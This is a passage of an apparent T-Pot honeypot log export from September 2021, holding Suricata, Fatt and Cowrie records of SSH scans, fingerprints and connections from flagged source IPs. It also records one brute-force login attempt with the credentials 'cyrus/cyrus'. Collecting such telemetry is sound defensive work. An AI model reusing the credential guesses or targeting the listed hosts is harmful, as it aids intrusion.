"country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1931996215747214, "payload": "U1NILTIuMC1saWJzc2gtMC42LjMK", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34872, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:10:30.248939Z", "@timestamp": "2021-09-20T11:10:30.248Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh-0.6.3\\n"}}	1	\N	\N	alert	known attacker	\N
25561	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:10:30.248994+03	2021-09-20 14:15:10.303474+03	{"_id": "NAbmAnwBvYTbRNuEeRsG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1931996215747214, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34872, "dest_port": 22, "timestamp": "2021-09-20T11:10:30.248994Z", "@timestamp": "2021-09-20T11:10:30.248Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25562	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:10:31.061178+03	2021-09-20 14:15:10.30447+03	{"_id": "NQbmAnwBvYTbRNuEeRsG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1390649947887303, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47760, "dest_port": 22, "timestamp": "2021-09-20T11:10:31.061178Z", "@timestamp": "2021-09-20T11:10:31.061Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25563	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:30.785609+03	2021-09-20 14:15:10.30647+03	{"_id": "OAbmAnwBvYTbRNuEehsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47760, "timestamp": "2021-09-20T11:10:30.785609", "@timestamp": "2021-09-20T11:10:30.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25564	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:32.482827+03	2021-09-20 14:15:10.30747+03	{"_id": "bgbmAnwBvYTbRNuEgBvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:10:32.482827+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1854880078126603, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 39082, "dest_port": 22, "timestamp": "2021-09-20T11:10:32.482827Z", "@timestamp": "2021-09-20T11:10:32.482Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
25565	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:33.039149+03	2021-09-20 14:15:10.30947+03	{"_id": "bQbmAnwBvYTbRNuEgBvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1854880078126603, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39082, "dest_port": 22, "timestamp": "2021-09-20T11:10:33.039149Z", "@timestamp": "2021-09-20T11:10:33.039Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25566	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:10:32.884711+03	2021-09-20 14:15:10.31047+03	{"_id": "cAbmAnwBvYTbRNuEgRvr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7459, "dest_port": 22, "timestamp": "2021-09-20T11:10:32.884711", "@timestamp": "2021-09-20T11:10:32.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25567	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:33.052399+03	2021-09-20 14:15:10.31147+03	{"_id": "dQbmAnwBvYTbRNuEgRvr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39082, "dest_port": 22, "timestamp": "2021-09-20T11:10:33.052399", "@timestamp": "2021-09-20T11:10:33.052Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25568	113.105.80.34	109.199.241.180	Fatt	2021-09-20 14:10:34.092257+03	2021-09-20 14:15:10.31247+03	{"_id": "hgbmAnwBvYTbRNuEhRvU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35480, "dest_port": 22, "timestamp": "2021-09-20T11:10:34.092257", "@timestamp": "2021-09-20T11:10:34.092Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25569	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:34.132524+03	2021-09-20 14:15:10.31447+03	{"_id": "iAbmAnwBvYTbRNuEhhtq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:53362 (192.168.176.2:22) [session: 5165d4feb874]", "session": "5165d4feb874", "@version": "1", "protocol": "ssh", "src_port": 53362, "dest_port": 22, "timestamp": "2021-09-20T11:10:34.132524Z", "@timestamp": "2021-09-20T11:10:34.132Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25570	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:10:33.821029+03	2021-09-20 14:15:10.31547+03	{"_id": "kAbmAnwBvYTbRNuEhhtq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "321dd6faebd3", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:10:33.821029Z", "@timestamp": "2021-09-20T11:10:33.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
41097	192.168.20.147	109.199.241.180	Suricata	2021-09-20 16:03:36.554417+03	2021-09-20 16:15:02.285747+03	{"_id": "7gZOA3wBvYTbRNuEA4wF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:03:36.554417Z", "@timestamp": "2021-09-20T13:03:36.554Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25571	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:34.098201+03	2021-09-20 14:15:10.317474+03	{"_id": "mwbmAnwBvYTbRNuEhhtr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [cyrus/cyrus] failed", "session": "e0c4ddf1b44d", "@version": "1", "password": "cyrus", "username": "cyrus", "timestamp": "2021-09-20T11:10:34.098201Z", "@timestamp": "2021-09-20T11:10:34.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25572	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:10:34.101147+03	2021-09-20 14:15:10.320471+03	{"_id": "nAbmAnwBvYTbRNuEhhtr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", 